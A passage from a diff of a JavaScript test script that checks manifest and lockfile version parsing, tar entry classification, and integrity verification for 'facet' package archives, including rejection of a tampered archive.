failure shape: `failure` is a discriminated union. Invalid JSON in + // the embedded build manifest surfaces as `code: 'invalid-json'` with a + // structured `errors` array. + assert(result.failure, 'expected a structured failure') + assert.equal(result.failure.code, 'invalid-json') + assert(Array.isArray(result.failure.errors)) + assert(result.failure.errors.length > 0) }) console.log('') @@ -187,6 +230,137 @@ check('detects a duplicate name within a single asset type', () => { assert.equal(errors.length, 0) }) +console.log('') +console.log('=== parseBuildManifestDocument (exact version dispatch) ===') + +check('accepts a legacy 0.1 build manifest', () => { + const result = parseBuildManifestDocument( + JSON.stringify({ facetVersion: 0.1, archive: 'archive.tar.gz', integrity, assets: assetHashes }), + ) + assert(result.ok, 'expected ok=true') + assert.equal(result.data.facetVersion, 0.1) +}) + +check('rejects an unsupported facetVersion with structured failure', () => { + const result = parseBuildManifestDocument( + JSON.stringify({ facetVersion: 9.9, archive: 'archive.tar.gz', integrity, files: {} }), + ) + assert.equal(result.ok, false) + assert.equal(result.failure.code, 'unsupported-facet-version') + assert.equal(result.failure.observed, 9.9) + assert(Array.isArray(result.failure.supported)) +}) + +check('rejects duplicate object members before schema validation', () => { + const result = parseBuildManifestDocument( + '{"facetVersion":0.1,"facetVersion":0.2,"archive":"archive.tar.gz","integrity":"sha256:x","assets":{}}', + ) + assert.equal(result.ok, false) + assert.equal(result.failure.code, 'duplicate-members') +}) + +console.log('') +console.log('=== parseLockfileDocument (exact version dispatch) ===') + +check('rejects an unsupported lockfileVersion with structured failure', () => { + const result = parseLockfileDocument(JSON.stringify({ lockfileVersion: 9.9, facets: {} })) + assert.equal(result.ok, false) + assert.equal(result.failure.code, 'unsupported-lockfile-version') + assert.equal(result.failure.observed, 9.9) +}) + +console.log('') +console.log('=== validateRawTarEntries ===') + +check('accepts a canonical inner tar', () => { + const result = validateRawTarEntries(innerTar, 'archive.tar.gz') + assert(result.ok, 'expected ok=true on a canonical tar') + assert(Array.isArray(result.entries)) +}) + +console.log('') +console.log('=== planArchiveEntries (membership + classification) ===') + +check('classifies manifest, primary asset, companion, and archive-only entries', () => { + const result = planArchiveEntries({ + skills: { greeter: { files: ['references/notes.md'] } }, + files: ['README.md'], + }) + assert(result.ok, `expected ok=true, got errors: ${result.ok ? '' : JSON.stringify(result.errors)}`) + const byPath = new Map(result.data.map((e) => [e.path, e.kind])) + assert.equal(byPath.get('facet.json'), 'manifest') + assert.equal(byPath.get('skills/greeter/SKILL.md'), 'primary-asset') + assert.equal(byPath.get('skills/greeter/references/notes.md'), 'skill-companion') + assert.equal(byPath.get('README.md'), 'archive-only') +}) + +console.log('') +console.log('=== validateFacetArchive on a 0.2 archive (async, node:zlib) ===') + +// A 0.2 archive with a primary skill, a skill companion, and an archive-only +// root file — assembled directly (companions/archive-only are not yet emitted +// by collectArchiveEntries; that is the producer block). Every inner entry is +// hashed into the build manifest's `files` map, mirroring what a 0.2 producer +// emits and what the registry will verify. +const currentManifestText = JSON.stringify({ + name: 'archive-current', + version: '1.0.0', + skills: { greeter: { description: 'Says hi', files: ['references/notes.md'] } }, + files: ['README.md'], +}) +const currentEntries = [ + { path: 'facet.json', content: currentManifestText }, + { path: 'README.md', content: '# archive-current\n' }, + { path: 'skills/greeter/SKILL.md', content: '# Greeter\n\nSay hi.' }, + { path: 'skills/greeter/references/notes.md', content: 'reference notes' }, +].sort((a, b) => (a.path < b.path ? -1 : a.path > b.path ? 1 : 0)) + +const currentInnerTar = assembleTar(currentEntries) +const currentIntegrity = computeContentHash(currentInnerTar) +const currentFiles = computeAssetHashes(currentEntries) +const currentBuildManifest = { + facetVersion: 0.2, + archive: 'archive.tar.gz', + integrity: currentIntegrity, + files: currentFiles, +} +const currentOuterTar = assembleOuterTar(JSON.stringify(currentBuildManifest, null, 2), gzipSync(currentInnerTar)) + +await checkAsync('verifies a well-formed 0.2 archive end to end', async () => { + const result = await validateFacetArchive(currentOuterTar, { gunzip: nodeGunzip }) + assert(result.ok, `expected ok=true, got failure: ${result.ok ? '' : JSON.stringify(result.failure)}`) + assert.equal(result.data.archiveVersion, 0.2) + assert.equal(result.data.buildManifest.integrity, currentIntegrity) +}) + +await checkAsync('listVerifiedFiles + verifiedFileHashes span every inner entry', async () => { + const result = await validateFacetArchive(currentOuterTar, { gunzip: nodeGunzip }) + assert(result.ok, 'expected ok=true') + const files = listVerifiedFiles(result.data) + const paths = new Set(files.map((f) => f.path)) + assert(paths.has('facet.json')) + assert(paths.has('README.md')) + assert(paths.has('skills/greeter/SKILL.md')) + assert(paths.has('skills/greeter/references/notes.md')) + const hashes = verifiedFileHashes(result.data) + assert.equal(hashes['skills/greeter/references/notes.md'], currentFiles['skills/greeter/references/notes.md']) +}) + +await checkAsync('rejects a tampered 0.2 archive with a structured integrity failure', async () => { + // Re-gzip a mutated inner tar so the content no longer matches `integrity`. + const tamperedInner = assembleTar([...currentEntries, { path: 'extra.txt', content: 'x' }]) + const tamperedOuter = assembleOuterTar(JSON.stringify(currentBuildManifest, null, 2), gzipSync(tamperedInner)) + const result = await validateFacetArchive(tamperedOuter, { gunzip: nodeGunzip }) + assert.equal(result.ok, false) + assert(result.failure, 'expected a structured failure') + // Integrity mismatch (content hash) or entry-set/membership mismatch — either + // is a structured, non-throwing rejection; assert it is one of them. + assert( + ['integrity', 'entry-integrity', 'validation'].includes(result.failure.code), + `unexpected failure code: ${result.failure.code}`, + ) +}) + console.log('') if (fail === 0) { console.log(`✓ ${pass} checks passed`)